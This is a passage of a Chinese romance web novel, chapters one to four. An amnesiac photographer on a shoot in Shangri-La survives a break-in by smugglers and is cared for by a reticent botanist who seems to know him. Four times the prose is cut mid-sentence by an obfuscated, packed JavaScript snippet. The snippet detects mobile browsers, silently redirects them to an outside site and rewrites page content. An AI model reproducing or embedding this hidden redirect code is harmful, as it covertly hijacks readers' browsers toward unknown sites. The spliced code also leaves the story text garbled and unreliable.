《千万个片刻》 1. 第一章 越野车的远光灯刺破细密雨帘,车轮撵过泥泞土地,留下一道道深刻的痕迹。 成片的、深浅不一的绿色在夜幕中同样漆黑,包裹了整座山,一直向更深处延伸。 车辆颠簸,雨刮器不停摆动。李不凡握紧方向盘,无奈地笑了声:“刚才应该走早一点。” “老大,海拔高了就这样,我之前来过几次,每次都遇到突然下暴雨。”副驾驶上,李不凡的助理小柳像一只被安全带捆着的粽子。 这怪不得车,只能怪小柳减肥没有决心。手机屏幕的光映在他脸上,他啧了下:“告诉大家一个不好的消息,酒店那边说老大你房间漏水了。” 后座的宋朗白搭住前排的座椅靠背,嘴欠地说:“没看出不好在哪儿,没事儿,等会儿你跟我睡。你先别愁了,小柳,把早上我们拍的那个白什么,什么长臂猿的照片拿出来给他看看,让他回忆回忆和这里的猴子初见时的惊喜。” “滚啊,宋朗白,你能别干扰我开车吗?”李不凡抬了下眉,觉得太阳穴被这两个人吵得胀痛,手朝旁边一伸,副驾的小柳立即递过来一瓶氧气管。 减速吸了两口,他感觉好多了。 “老大你这都两天了,还没习惯这边海拔啊?”小柳有些担心。 “没事儿,”李不凡没当回事,看了眼导航,“还有十几分钟,快到了。” 车里很暗,仪表盘发着微弱的光,勾勒出李不凡的轮廓。 他头发短,五官锋利,嘴唇和眼皮都很薄,冷着脸不说话的时候最酷。 车前挂着一块金属的小狗样式的牌子,颠簸中摇晃时偶尔反射的光落在李不凡耳后。那里有一个很小的曲折的疤痕,像一道闪电。 来云南拍景是宋朗白的提议。他有个熟悉的策划,明年想做一个森林主题的摄影展,想再邀请一位摄影师和他一起。 三月,香格里拉仍然很冷,高海拔的树林中是成片的深绿。 车灯扫过酒店前的几棵树,雨水微凉,李不凡推开车门,撑起伞,在啪嗒啪嗒的雨声中,踩着石板路走进酒店。 大堂里灯光明亮,三三两两围着不少旅客。 “我去问下房间怎么办,你们在这里等就行。”李不凡朝小柳和宋朗白抬了抬下巴,转身走到前台。 他站在旁边排队,打开手机看了眼天气。 明天后天都下雨,李不凡划着屏幕,手肘被人很轻地撞了下。 他抬起眼,面前挤了一个三十岁左右的中年男人,已经心虚地把脸转开。 李不凡本来不想说什么,可是目光却顿了下。男人鬼鬼祟祟地朝趴在前台订房间的年轻女生靠近,把手臂伸得很长,越过她的后背,在对方腰侧碰了碰。 女生反应很快,扭头看见中年男人,迟疑了一瞬,没说话。 再和前台沟通时,女生的声音已经小了一些。 不管什么时候李不凡都看不了这种行为,他锁了手机扔进口袋,一把按住男人肩膀,很痛快地推开对方,走到他和女生中间。 “你挡到我了。”李不凡侧过脸,平淡地垂眼。 “你有病吧,我就在这里站着,我怎么……” “我脾气不好,现在还很烦,”李不凡打断他,“能别吵吗?” “这位客人,您也要办理入住吗?”一旁的服务生赶紧上前,礼貌地问李不凡。 见有人过来,中年男人才骂骂咧咧地离开。 “你们说我房间漏水了,我过来问问。”李不凡说。 “我知道您是哪位了。”服务生见李不凡身上还在滴水,很快从旁边拿了张毛巾过来。李不凡卷起冲锋衣的袖子,接过侍应生递来的干毛巾,擦了擦小臂和头发上的水。 衣摆的位置湿了一小片,大堂里开着很薄的暖气,他干脆脱掉外套,贴身的毛衣包裹出腹肌的轮廓。 “您的房间漏水,我们下午就找人在修了,已经通知过您助理,现在工人还在楼上,他们说大概还有两个小时左右。你看你是想继续等,还是我们这边直接帮您换房?” 他们到这边才两天,因为天气原因,拍到的内容都不是特别让人满意,留在云南的时间毫不意外地需要加长。 房间里行李很多,不止是几个月的衣服,还有一些摄影器材和资料。怕搬来搬去弄丢东西,李不凡拒绝了换房。 “我在下面等就好,麻烦和师傅说一声,别弄湿我东西。”李不凡把用过的毛巾还给服务生。 对方道了一声好,朝对讲机里说了什么,就匆忙离开。 李不凡转头,小柳和宋朗白在落地窗边的小桌前,一个站着一个坐着,都在看这边。 “帅哥,”他听到那个女生叫自己,“谢谢你。” 李不凡没说话,只是很轻地摇了下头,拎着外套走了。 看李不凡过来,小柳才坐下,仰着头问:“刚才怎么了?” “他手不干净,我看见了。”李不凡把外套搭在空椅子上,也坐下来。 “人渣啊,”宋朗白说,“是该收拾他。” 李不凡叫他俩,“你们先上去休息吧,今天在外面跑一天了。” “老大没事儿,我在楼下陪你等吧,不然你一个人不无聊吗?”小柳说。 “我不无聊,随便待会儿两个小时就过去了,你们先上去吧,”李不凡从口袋里摸出几颗薄荷糖,扔给小柳和宋朗白,“这车明天走之前要检查一下,刚才开的时候觉得声音有点不对。” “知道,我等会儿回去就联系修车行。”宋朗白抬手搭住小柳肩膀,把他轻轻一带,朝旁边的电梯走。 雨还没有停,但已经小了许多。 李不凡坐的位置灯光稍暗,落地窗外是森林景观,成片的树木耸入更高处的雾气里,空气中漂浮着清新的香味,雨声滴落在叶片上,发出连续声响。 白天背着器材翻山越岭,傍晚时李不凡就累了。三个人里他在野外经验最多,因为下了暴雨不放心,李不凡才选择自己开车。 时间已经有些晚,李不凡嚼碎那颗糖,也没有清醒多少。他靠着舒适的沙发,很快就有了困意。 迷迷糊糊睡着一会儿,青瓷的茶杯轻轻碰到桌面,发出清脆但微小的声音,李 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16207356|181286||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不凡醒过来。 鼻间蔓延着一股淡淡的洗涤剂的清香,他慢慢睁眼,觉得有些热,轻轻一动,才意识到自己身上搭着一件衣服。 纯黑色的冲锋衣,还是李不凡也常穿的品牌。他皱着眉坐直身体,下意识把那件冲锋衣抱进怀里。 茶几边放着的一杯尚且温热的茶,白色的雾气徐徐从杯面升起。 宋朗白坐在李不凡对面,他换了身衣服,噼里啪啦地敲着怀里的电脑。 “醒了?”宋朗白笑,“我就上去换个衣服拿个电脑,下来你就睡着了。” “困……”李不凡揉了揉脖子,“衣服你的?” “不是啊,我刚下来。”宋朗白说。 李不凡也懵,短暂地睡了不到半小时,他头很晕。 好像是刚来了需要入住的旅客,大堂里人不少,几个几个站着闲聊。 衣服就这样搭在腿上,李不凡抬起眼,瞥见前台边站着一道挺拔身影。 那人穿着黑色雨衣,可能是刚到这里,浑身上下都在滴水,兜帽也还没摘下。 “我之前跟你提过他,”宋朗白注意到李不凡的视线,小声说,“几个月前我提前来云南考察的时候就遇到过他,他好像一直都住在这里,叫……季一南,名字跟你一样简单,特别好记。” “据说是个天天研究花花草草的植物学家。” 宋朗白话音刚落,对方就似有所感地回过头。 李不凡没来得及收回目光,隔着一些穿过大厅的人,他们并不遥远地对视了一瞬。 雨水把季一南的脸弄得很湿,水珠从他深刻的眉骨滑下,沿着鼻梁的一侧滚落,少部分沾湿了T恤。 黑色雨衣的兜帽在他的眼皮上落下一片阴影,过了很长的几秒,季一南才迟钝地移开视线。 李不凡对他的停顿稍感奇怪,同时也觉得面前的人莫名熟悉。 但仔细一想,这里是离家几千公里外的一片陌生森林,应该不会有那么多巧合。 老板走来,礼貌弯腰,和坐在沙发上的李不凡说:“您的房间已经更换好。” 李不凡回过神,拿着外套站起身。 “不好意思耽误您太长时间了,我们会为您和您的同伴补偿一顿午餐,”老板微笑道,“另外,您身上的衣服是我们备用的。” 李不凡神色一顿,把衣服递给她,“谢谢你。” 电梯在大堂角落,李不凡跟着宋朗白走进轿厢。 按好楼层,电梯照常关闭。将要合拢的那一瞬,一只骨节分明的手握住壁沿。 两扇门卡顿一瞬,重新打开,拉到一个合适的距离,露出季一南的脸。 他摘掉淋湿的兜帽,看了李不凡一眼,走到他身边,很平静地站好。 宋朗白和李不凡都没有说话,过了一会儿,季一南才像想起自己还没有按楼层,手臂越过李不凡,按了一个数字。 收回手后,他很慢地偏过脸,视线又在李不凡身上停留了几秒,却在李不凡转过眼时,眼皮颤抖地移开了目光。 雨衣上的水珠啪嗒啪嗒,眼泪一样砸下来。 2. 第二章 李不凡和宋朗白的楼层更先抵达。 进了走廊后,李不凡有些走神,连宋朗白在说什么也没注意。 用门卡刷开房间,宋朗白在李不凡眼前挥了挥手,他才眨了下眼,问宋朗白怎么了。 “我刚才说,你之前淋雨了,先去洗个澡,”宋朗白耸耸肩,没跟着李不凡进去,“我去隔壁拿相机过来。” “行。”李不凡点头。 门关了一半,他又忽然停下来,和走出一小段的宋朗白说:“你怎么没告诉我季一南这么帅啊。” 宋朗白笑,说他颜狗一个,没救了。 浴室里干干净净,一点也没有刚刚维修过的样子。 李不凡开了热水,抓了一把自己的头发。 回想刚才,他觉得自己的迟疑情有可原。 一是因为季一南长得实在带劲,符合他的审美。 二是因为,他是这么长时间以来,第一个让李不凡觉得熟悉的人。 十八岁以前,李不凡都是一个平平无奇的人。 他成绩不是很好,可能只在画画上略有天赋。 高中毕业后,他在国外的艺术学院学习美术。 按部就班地完成学业,他开始从事职业摄影。 他也许热爱极限运动,滑雪冲浪潜水跳伞、攀爬雪山、翼装飞行……什么极限玩什么。 他的父母曾经持有一家上市公司,但一直关系很差,只是因为利益没有离婚,在公司破产后便彻底分开。 从小到大,他应该都和父母不亲密,成年后就彻底离开了家庭。 李不凡今年二十九岁,有超过十年的双相病史,在今年忽然奇迹般得到控制。 他没有谈过恋爱,好像连暧昧也未曾体验。 以上,也许就是他目前为止的全部人生经历。 说“可能”“应该”“好像”“也许”,是李不凡也没办法判断这些经历的真假。 他和正常人不太一样,严格来说,李不凡是一个病人,甚至可以说,是一个残疾的人。 ——他失忆了。 发现这件事,是在来香格里拉一周之前。 李不凡醒来时大脑一片空白,全身却被一种难以言说的疼痛贯穿,仿佛五脏六腑撕开过,又东一块西一块地拼凑起来。 去医院检查以后,他确认自己除了失忆以外,身体没有其他问题,也没有遗忘生活常识和职业技能。 医生说,有的人会因为外界刺激,例如车祸、撞墙、重要的亲人死亡等突然失去记忆,有的人则会毫无缘由地突然发作,无法回忆起之前的生活和人格,尤其是遗忘创伤性的生活事件[1]。但若想要恢复记忆,必然是一件需要时间的事,他可以先回到自己熟悉的环境里,或者做以前熟悉的工作,也许慢慢就能够自然想起。 还没来得及调查更多的事情,李不凡先接到了小柳和宋朗白的工作联络,于是乘坐飞机来到云南。 李不凡和他们都是第一次合作,工作太忙,日程很紧,李不凡不常想起自己是个失去了记忆的人,直到刚才,他才有所思考—— 一个人就算忘记了自己的全部曾经,是否也会遗忘审美和喜好。 走出浴室,李不凡换了干净清爽的衣服,打开工作台上的电脑。 刚坐下几分钟,便有人敲了敲门,他站起身,从猫眼中看见是宋朗白,就拉开门,侧身让他进来。 “照片我还没导,筛了一部分完全用不了的删掉了,你再看看。”宋朗白在旁边沙发上坐下,把设备小心地放在桌面。 存储卡接上电脑,李不凡一张一张看今天从早拍到晚的东西。 早上天气还可以,他们拍到了森林里的晨雾,中午阳光不错,到了下午,照片就全是灰调。 “我感觉这几天我们拍到的灰的照片太多了。”李不凡点着鼠标,退出去看了一眼天气预报。 “我刚刚也看过了,后面起码还有一个月的雨天,”宋朗白往沙发上一躺,“你还有档期吗?” 李不凡没说话,又翻了一会儿照片,才说:“其他都无所谓,就一个比较重要的工作,在国外,可能要两三个星期。不过先别管这个,再拍拍看吧,如果真的不行,大不了我干完那边的活儿再飞回来。” “这个星期剩下几天都在下雨,明天先休息吧,后天我们再去拍点雨天。”宋朗白说。 李不凡专注地看着屏幕,随口应了句:“好……” “哥,”宋朗白看向李不凡,有点担心地提醒他,“你高反要注意身体,早点睡。” “知道了,”李不凡想起自己有一屋子的户外装备,平常应该也爱在山上跑,觉得没有太大问题,“你先走吧,太晚了。” 照片他选到凌晨,睡觉之前才来得及看一眼手机。 里面只有一条小柳的信息:【老大我找到修车的地方了,明天我和宋哥把车开去检查,你醒了再联系我们。】 跟着是一个汽修厂的定位。 李不凡回复了好,喝了一口水,就躺上床、关掉灯。 闭眼前他还很困,躺上床却睡不着了。 想也想不到什么,头反而剧烈地疼痛起来。李不凡在床上挣扎了一会儿,慢慢觉得胃也不舒服,想吐。 这不是什么好征兆,他坐起身,意识到高反加重了。 昏昏沉沉把灯打开,李不凡本想套件衣服下楼,嘭的一声,整个房间瞬间暗了下来。 跳闸了?还是停电了? 李不凡站起身,想去窗户看一眼。 睡前他拉好了窗帘,此时窗帘外却传来推开窗户的声音,李不凡立刻定住脚步,跟着一连串落地声,两个身影高大的男人从外把窗帘拨开。 月光从他们身后照进来,他们戴着黑色鸭舌帽和口罩,只露出一双眼睛,每人手里一把三十厘米左右的长刀,在月色下反射寒光。 “别动,”为首的男人cao着一口本地嗓音,朝李不凡举了举刀尖,“往后退,退到墙上。” 李不凡依言抬起双手,紧紧盯着两人,他还没来得及穿上衣服,只能光着上半身靠住房间侧面的墙壁。 见他乖乖听话,那人才放心一些,招呼身后的人把箱子拎过来。 因为贴着墙,又处于黑暗中,李不凡的听觉变得更加敏感。他轻微地侧了侧头,听见走廊上有十分微小的连续的走路声。 面前这两人很明显是歹徒,但为什么会突然闯进他的房间,走廊里的人又是谁。 李不凡在心里猜了猜,难道歹徒也在被警察追,走投无路才躲进这里。 他的心脏跳得很快,头脑的胀痛也没有恢复,干脆用牙咬着嘴唇,靠疼痛硬撑着清醒。 两个歹徒仍然警惕,但不怎么能分神去管李不凡,反而很快挪到了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16207357|181286||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 门口,一人一侧关注着走廊里的动静。 “等条子查完旁边那间房,我们再翻过去。”拎着箱子的那人说。 “还翻,还翻!嫌动静不够大是吧?”稍高的人压着嗓子,好像恨不得给另一个人来上一拳,“要不是你他妈晚上在楼下动手动脚,我们至于那么快就被发现吗?” “我以为那就一小姑娘……”那人还想辩解,但很快被另一人踹了一脚。 “别说话了,给老子安静点!” 听他们提起什么“在楼下动手动脚”“小姑娘”,李不凡才眯起眼,仔细观察着拎箱子的人。 他把脸蒙得非常严实,但作为摄影师,李不凡见过太多人,即使只看眼睛,也能分辨出不同。 那人眼窝很浅,眼距也短,看口罩突起的程度,鼻梁应该十分垮塌…… ——他是晚上在大堂偷摸陌生女生腰的那个男人。 这时走廊外的脚步越来越近了,李不凡握紧垂在身侧的拳头。 门锁传来微小的震动,像是有人要从外侧撬开。门边的两人相视一眼,仿佛达成什么共识。 而就在他们身旁的李不凡也很清楚:警察来了,他们要动手了。 与其等待被挟持,不如他先下手为强。 看这两个人瘦弱的样子……如果不是手里有刀,未必能打过他吧。 下一秒,在被其中一个人抓住手臂的瞬间,李不凡拧过手腕,反抓住他,同时抬起另一只手的手肘,将对方的长刀打落。 “我草……!”另一个人也砍过来。 房间里顿时打斗起来,听见声响,室外的人不再执着于不惊动谁的开锁,而是砰砰撞了两下门。 门板被撞开,李不凡一脚把其中一个歹徒踢出去,另一人的刀随着落下来,李不凡下意识侧身,用肩膀去挡,刀刃的风劈下来,却有一条极其坚实的手臂从后揽住李不凡的胸膛,一把将他反压到墙壁上。 在重力的作用下,那人不受控制地从后狠狠顶了下李不凡,隔着硬挺的衣料,李不凡感受到对方如树木般坚实的四肢。而在他压上来的那一刻,对方分开的两条腿卡住李不凡的两条腿,腰胯也紧贴着他的腰胯。李不凡被震得痛了一下,如此紧急的情况,他却不合时宜地给这个现场打了个比喻:他好像被人从后上了。 “你安全了。”热气随着低沉的嗓音从耳后传来。 李不凡侧过脸,只借着稀薄的月光看见对方高挺的鼻梁,却能感觉到自己的嘴唇差点擦过这人的皮肤。 而下一秒,他鼻腔一热,湿润的液体滚出来。 李不凡迷糊地摸了摸鼻子,嗅到很腥的味道——他居然流鼻血了。 “别动!” “别动!” “手举起来!” 源源不断的警察从门口挤入,一个个枪口对准两个瘫软在地的歹徒。 身后压着的人也终于退了一步,李不凡只觉得自己比之前还要昏沉,刚想说话,灯光猝不及防地重新亮起,他瘫软地靠在墙上,下意识伸手抓住身边人的衣袖。 那人回过头,影子落在李不凡身上,他又看到那张脸了。 那张很冷漠又很带劲的季一南的脸。 “你怎么了?”季一南皱起眉,捧起他的脸,用拇指胡乱地擦了擦他的鼻血。 恍惚中,李不凡喃喃道:“可能有点高原反应吧。” 3. 第三章 房间里很乱很吵,季一南快速脱掉身上的外套,罩在李不凡身上,又握住他的肩膀带他往外走。 “你们先处理现场,我马上带他去医院。” “好……我有数。” 季一南和旁边的警察说了几句话,接过不知谁伸手递来的氧气瓶,对准李不凡的脸盖了上去。 意识清醒一些时,李不凡坐在颠簸的车里。 两盏车灯顺着土路照亮远处,车内开着暖气,李不凡摸到放在身边的氧气瓶,又吸了一口。 “还有哪里很不舒服吗?” 李不凡又听到熟悉的声音,他微微扭过头,看见正在开车的季一南。 车内有些黑,李不凡没有完全看清他的脸,先说了句谢谢。 “我就是高反,那两个人莫名其妙闯进我房间之前我正好想下楼去医院看看的。” 田野很安静,汽车的轰鸣声反倒显得震动。 季一南一直看着前方的路,没有朝李不凡递来任何一眼。 “那两个人是走私犯,想带着香格里拉的珍贵物种逃跑。警察早就盯上他们了,他们连夜逃跑,你的房间正好在他们隔壁,他们才翻过去的。” 李不凡无奈地笑了声,“我怎么连这种事儿都能遇上……” “那你呢?”他问,“听我朋友说你是植物学家,难道你是卧底?” “不是,只是警察需要我配合辨认那些植物。”季一南说。 他的冲锋衣脱给李不凡了,自己身上就一件黑色紧身毛衣。李不凡侧着脸,用目光勾勒了一遍季一南的身型。 他手臂很有劲,即使是放松开车时,整齐的肌肉也很明显。胸肌也不错,腰……很窄。 李不凡抬了抬眉,“你特意练过?进来抓我那下力气够大的。” “你也不赖,都能一打二了。” 不知道为什么,李不凡觉得季一南的话里也不全是对他的表扬。 季一南又问:“你身上没别的伤吧?我刚才只是扫了一眼,没仔细检查。” “我没事,没受伤。”李不凡说。 到最近的诊所要五公里,李不凡又眯了一会儿,睁眼时已经到了诊所门口。 屋檐下的白炽灯在黑夜中格外闪亮,李不凡解开安全带,推门时季一南就站在外面,扶了一把他的手臂。 “这几步还是能走的。”李不凡勉强地笑了笑。 季一南嗯了一声,但没松手,掌心贴着李不凡手肘的位置,握得有些紧。 一个小护士趴在进门的桌台后睡着了,李不凡推门的声音把她吵醒,她撑着脑袋醒了醒神,起身问:“怎么了?” “高反,脑子疼,想吐。”李不凡描述了下自己症状。 “那先跟我来吸一小时氧气,看看能不能好一点,”护士把一个很厚的本子拎起来放到李不凡面前,“先登记一下。” 李不凡拿起桌上用塑料弹簧绳系住的圆珠笔,低头写字。 他很快填好了信息,偏头和季一南说话:“不然你先走……” 鼻尖差点碰到季一南的脸侧,李不凡顿了下。 “李不凡。”季一南垂着眼,帽檐遮挡了头顶的光,李不凡的脸落进他的阴影里。 他语气很轻,似乎完全不在意已经超越正常社交距离的举动。 圆珠笔有些断墨,李不凡补了一下“凡”字中间的那一点,才放下笔,“是不是名字太简单了。” “没有这么想,”季一南摇摇头,掌心忽然压住李不凡朝外那侧的肩膀,“我的名字也很简单。” 他动了下,隔着一层衣料,用手掌贴住李不凡的后颈,在李不凡看不见的地方,用拇指很轻地拨开了他的衣领。 “我叫季一南,”季一南盯着李不凡耳后那一小片皮肤上的伤疤,慢慢地说,“零和一的一,南方的南。能记住吗?” “这有什么难的。”李不凡偏头,季一南就自然地收回了手,指了下纸页上李不凡名字旁边的那个空格,说:“不难的话,你帮我写。” 李不凡重新拿起笔,垂头在“陪同人”的这一格,用更工整的字体写下季一南的名字。 “我刚刚是想说,你现在回去吧,我可能要在医院待到很晚,你不是还要去帮警察做别的事情吗?” “没有别的事了,我同事已经到了。”季一南说。 护士开好了单子,李不凡跟着她走进输液室。 里面还有两三个人,都是来吸氧的。 “你挑个位置吧。”护士说。 李不凡走到最靠窗的位置,在病床上躺下来。 “他们几个应该等会儿 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16207358|181286||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 就走了,你要是想睡会儿等他们走了可以关灯,”护士熟练地拿过测血氧的仪器,夹住了李不凡的一只手指,“吸完氧感觉还没好的话要立刻叫我。” 仪器发出轻微响声,李不凡静静等了一会儿。好在血氧没有掉得特别多,护士取下仪器,帮李不凡弄好氧气管,便转身离开了。 等她走后,季一南拎过一把木椅子,放在离李不凡的病床很近的位置。他刚坐下来,手机就响了,没说两句,季一南就把电话递给李不凡。 李不凡没马上接,小声问:“是警察吗?” “是你朋友。”季一南说。 李不凡点点头。 “不是,我一觉醒来怎么听说有人见义勇为当上英雄了?”宋朗白的声音差点把李不凡耳朵喊破。 “你继续睡觉吧,我没什么事,已经到医院了。”李不凡说。 “好吧,警察也跟我说了你没什么事,你要是真出事了我怎么赔得起。哥你能不能记住你是来拍景的,不是来拍电影的。”宋朗白无奈地说。 “那我也是受害者,行了你别担心了,我明天早上就回来。”李不凡又随口安慰了几句,就挂了电话。 “警察那边,等你明天醒了去做个笔录就行,”季一南说,“我等你睡着再走。” 李不凡望了眼黑漆漆的窗外,“你一个人开车回去挺危险的。” 季一南沉默片刻,改口道:“那我明天走,你睡觉吧。” 李不凡感觉到季一南并不是一个话多的人,自己也有些困了,就没有再找别的话题,很快便合上了眼。快要睡着时,他又想到刚才季一南毕竟是救了自己,还凌晨送自己来医院,觉得就这样睡了太不礼貌,于是还想和他说一声晚安和谢谢。 他迷迷糊糊睁开眼,却恰好撞上了季一南看着自己的视线。 他们都没动,没出声,没眨眼。 大约过了很漫长的几秒,季一南突兀地站起身,说去给他倒点水。 输液室里很安静,少数的几个人都昏昏欲睡,没有聊天。 李不凡怀疑自己看错,靠在病床上沉默地回忆。 他觉得季一南走的时候眼睛红了,像一只标好了收信人和地址,却什么也没有装的、空空荡荡的信封,灌满干瘪的风,摇摇晃晃地飘在空中,落不了地。 4. 第四章 李不凡是被输液室的聊天声吵醒的。 阳光从侧边的窗户照进来,他动了动,翻了个身,彻底清醒过来。 季一南还坐在病床边,姿势也和李不凡闭眼前没有差别。 “早上好,”季一南的眼睛雾蒙蒙的,像没睡好,“我是季一南,还记得吗?” 一夜而已,李不凡怎么可能忘记。 因为睡得很饱,他状态好了不少。伸了个懒腰摘下氧气管,李不凡笑着反问:“那你记得我叫什么吗?” “李不凡,”季一南很认真地说完他的名字,才站起身,“一起去吃早餐吗?我送你去警局。” 时间比李不凡想象得早。 才不到九点,李不凡的手机里已经多了好几条小柳发来的消息。 【你现在还在医院吗?在哪个医院?】 【我和白哥来接你】 李不凡:【没事,我马上回来了,你们去修车就好。】 小柳回复得很快:【今天修不了,早上打电话问了,老板说后天才在。】 【拍摄计划可能要推迟了,我们等你回来商量。】 “到了。” 车子停了下来,李不凡听见季一南的声音,打完最后几个字,取掉安全带和他一起下车。 季一南选了一家面馆,孜然的香味顺着热闹的人声从不大的店铺里传来。 “老板,一份青稞饼、一壶甜的酥油茶,再来一碗牛肉米线,”季一南问李不凡,“你呢?” “那我也要牛肉米线吧。”李不凡说。 老板站在旁边,手上的笔动得很快。 餐馆装修简单,是个夫妻店,老板娘忙里忙外在给客人倒水。李不凡拉开木凳,在最近的桌边坐下,刚想去拿纸巾盒,季一南先他一步抽走了两三张纸,在桌面擦起来,还问他:“葱和香菜有忌口吗?” “哦,”李不凡差点忘了,“不太喜欢香菜。” “那就其中一碗不要香菜。”老板添加完备注,匆忙赶回厨房。 可能是昨天晚上太累,两个人都没完全醒过来,等的时候也没有人讲话。米线煮得很快,老板先端上来没有香菜的那一碗,李不凡就没有和季一南客气,挑了双筷子开始吃。 刚出过锅的食物很烫,冒着浓浓的热气。李不凡尝了一筷子,手机铃声响了。 来电人是宋朗白,他接起电话。 “怎么了?” “你好点没?”宋朗白开门见山。 “没事了,昨天晚上去医院吸了一晚上氧,差不多好了。”李不凡搅着面汤,这时候季一南的那一碗也端了上来,他侧过肩膀让了一下。 “早上醒来我看见小柳一连串电话,他被吓得不轻,”宋朗白松了口气,“车的事儿你听他说了吧,那你这两天正好休息一会儿。” “没必要,”李不凡手上的动作顿了下,筷子杵在碗底,“等我回去看看哪些在附近的点是能拍的吧,本来时间就紧。” “你能别卷了吗哥?”宋朗白都无语了,“时间不紧,你后面除了国外那个工作,不是没别的事情吗?我也没事,小柳也没事,大不了在这边多住几天,当散心算了。” “也行啊,我吃完早餐就回来,等我回来我们商量吧。”李不凡说。 “听警察说昨天晚上有人送你去的医院?”宋朗白问。 “是,”李不凡抬了下头,瞥了眼坐在自己对面的季一南,“我和季一南在一起。” 老板递来一壶酥油茶,季一南接过,给自己和李不凡都倒了一杯。 李不凡把手机拿开了一些,很轻地说了声谢谢。 宋朗白想到昨天晚上季一南突然闯入电梯的怪异表现,压低声音提醒李不凡:“出门在外,你要小心一点啊,我跟你说,这边坏人很多的,你……” “知道了,”李不凡打断他,“我挂了。” “你朋友?”季一南问。 李不凡点了下头,“跟我一起来拍景的摄影师。” 想到之后他们大概率没机会见面,李不凡没有和季一南过多地介绍宋朗白。 他拿起杯子喝了一口酥油茶,这家店把酥油茶打得很浓也很香,在舌尖留下厚重的甜味。 米线晾了一会儿,没有之前那么烫了,李不凡埋下头,热气腾腾地吃了起来。 他吃东西很快,几口就解决了一碗米线,喝着酥油茶等季一南。 “昨天你说你天天爬山,好玩吗?”李不凡问。 “我们爬山不是为了玩,”季一南抬了下眼,“就是每天上山,取样,再下山。” 李不凡想:“我也爬过很多。” 季一南放下筷子,“爬过哪些?” “都是一些国外的山。” “说说看。” 李不凡回忆他翻到过的那些照片。 “瑞士爬过菲斯特峰,皮拉图斯,少女峰,奥地利有芬斯特瓦,挪威走过去山妖之舌的那段路。” 脑子里其实很空,他对那些山一点印象也没有,大概只能这样糊弄一下什么也不知道的人。 说着说着,李不凡笑了。 “笑什么?”季一南问。 李不凡摇摇头,没说。 刚刚吃完早餐的人们零零散散地聊着天离开,耳边喧闹了一阵。 等这群人走过,李不凡朝老板招手买单。 “我来吧。”季一南打开手机,被李不凡拿掌心握住了屏幕。 他这一下握得很扎实,碰到了季一南手指的一小部分。季一南没动,垂眼看着李不凡的手,也没有被发现。 结完账,两个人走出小店。 李不凡拉开副驾驶的车门,没进去,从口袋里摸出两颗薄荷糖,问季一南要不要。 季一南点了下头,李不凡才弯腰钻进车里,隔着中控把糖扔给他。 “耽误你一上午,你在医院也没睡好吧?我要是还让你付钱,我成什么了。”李不凡撕开薄荷糖的包装。那颗糖和他的手比起来算小的,可他撕得很熟练,流畅地把一侧的塑料完整地撕下来,捏进掌心里。 “两碗米线而已,没什么。”季一南先低头看了那颗糖一眼,才把糖放进外套口袋里。 他发动车,朝警局开。 “你今天还要出去工作吗?”李不凡问。 “不了,回去睡会儿。”季一南说。 “我也是。”李不凡说。 “听你电话,还以为你回去就要工作。” 李不凡抬手指了下窗外,不知何时,天空开始飘起小雨,弄湿了车窗。“天气不好,而且我们车坏了,今天修车的地方没开门,我们在等老板。” 昨天下了大雨,道路有些泥泞,不好走,路不长,但季一南在雨中开了很久。 等到警局门口,他停稳了车,拿出一把雨 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16207359|181286||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 伞递给李不凡。 “没事,就两步,我跑过去就行。”李不凡解开安全带,没接那把伞。 “你才从医院回来。”季一南手没动,就那样悬在半空。 “好吧。”李不凡没再拒绝。 他准备下车,门锁都扣开了,咔哒响了一声,在雨声里也显得清晰。 可季一南忽然叫住他,问他:“能加个好友吗?” 在这样一场急雨里,在莫名热心送他去医院又陪床一晚上以后说这样的话……李不凡歪了下头。 季一南的一只手还搭在方向盘上,先说了话,才低头翻找手机。 明明是很正常、自然的事,李不凡不知道为什么他做得有些难。手机就放在储物箱上,他却没有看见,还是李不凡说:“这里。” 直到季一南点开微信的界面,他都没有抬过眼,好像很怕从李不凡这里得到拒绝。 